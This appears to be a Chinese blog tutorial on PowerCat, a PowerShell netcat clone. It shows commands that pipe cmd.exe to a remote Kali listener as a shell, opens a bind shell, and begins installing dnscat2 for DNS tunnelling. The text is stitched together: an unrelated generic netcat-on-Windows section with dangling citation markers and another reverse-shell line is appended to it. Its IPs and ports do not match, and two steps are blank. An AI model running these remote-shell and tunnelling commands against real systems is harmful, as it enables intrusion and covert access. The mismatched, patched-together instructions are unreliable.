工具之powercat使用教程

下载

地址:https://github.com/besimorhino/powercat

运行

使用:

由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

kali:192.168.206.128

win10:192.168.206.1

-e Execute. Specify the name of the process to start.

运行。开启运行一个程序

正向连接

Windows上的powercat正向连接Kali上的nc

kali上开启监听:

  • nc -lvvp 4444

win10将本地上的cmd.exe程序连接到kali的4444端口

  • Import-Module .\powercat.ps1
  • powercat -c 192.168.10.11 -p 8888 -e cmd.exe

反向链接

kali上的nc反向链接到windows上的powercat

kali:

  • nc 192.168.206.1 4444 -vv

win10 

  • Import-Module .\powercat.ps1
  • powercat -l -p 8888 -e cmd.exe -v

Powercat DNS隧道通信

PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat。所以,在使用DNS隧道通信前,需要在我们的VPS上安装dnscat。

vps上安装dnscat

1,安装git: yum -y install git

2,下载dnscat:  git clone https://github.com/iagox86/dnscat2.git

3,cd dnscat2/server/

yum -y install gem

4,gem install bundler

版本过低

参考升级版本:https://www.cnblogs.com/xzlive/p/13596829.html

5,bundle install

6,vps上执行

7,目标机上执行

 

 

 

 

 

参考大佬文章:

https://www.cnblogs.com/ly584521/p/12360704.html

https://mp.weixin.qq.com/s/KH-Y_8Df2COINksR6cbB2w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

### 使用 `nc` 命令行工具在 Windows 系统中的方法 #### 方法一:通过 WSL (Windows Subsystem for Linux) 对于希望在一个更接近原生 Linux 环境下工作的用户,在 Windows 10 上可以启用并使用 Bash on Ubuntu on Windows 功能[^1]。这不仅提供了完整的 Bash 环境,还包含了丰富的 Unix 命令行工具集,其中包括 `netcat(nc)` 工具。 一旦启用了此功能,则可以直接打开 Windows Terminal 或者通过开始菜单启动 "Ubuntu" 应用程序来访问该环境下的命令行界面,并在此环境中输入标准形式的 `nc` 指令来进行操作。 #### 方法二:直接安装适用于 Windows 的 Netcat 版本 另一种方式是在 Windows 平台上单独获取一个适合于 Windows 操作系统的版本——通常称为 nmap.org 提供的 Ncat 实现或是其他第三方移植版。然而需要注意的是某些情况下可能会触发防病毒警告[^4];因此建议从官方渠道下载资源以确保安全性。 当选择了合适的发行包之后按照说明完成安装过程即可正常使用 netcat(`nc`)的功能特性: - `-l`: 设置监听模式以便接收来自远程主机的数据流; - `-p <port>`: 明确指明本地计算机用来通讯的具体端口号; - `-s`: 当存在多个网络接口时定义哪一个作为数据发送源头; - `-u`: 切换至 UDP 而不是默认选项 TCP 进行传输层协议的选择; - `-v`: 获取详细的日志反馈信息帮助调试问题所在; - `-w`: 设定等待连接建立的最大时限; - `-z`: 执行端口扫描而不实际传送任何有效载荷给目标机器[^2]。 ```powershell # 创建一个简单的TCP服务器实例 nc -lvnp 8080 ``` #### 方法三:利用 PowerCat 替代传统 NC 考虑到兼容性和潜在的安全提示问题,还可以考虑采用专门为 PowerShell 编写且具备相似特性的替代品—PowerCat。这款工具同样能够实现诸如创建反向Shell、绑定Shell以及文件上传/下载等任务,并且由于其完全构建于 PowerShell 之上所以不存在额外依赖项的问题[^3]。 ```powershell Import-Module .\PowerCat.ps1 Invoke-PowerCat -c 192.168.1.100 -p 4444 -e cmd.exe ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值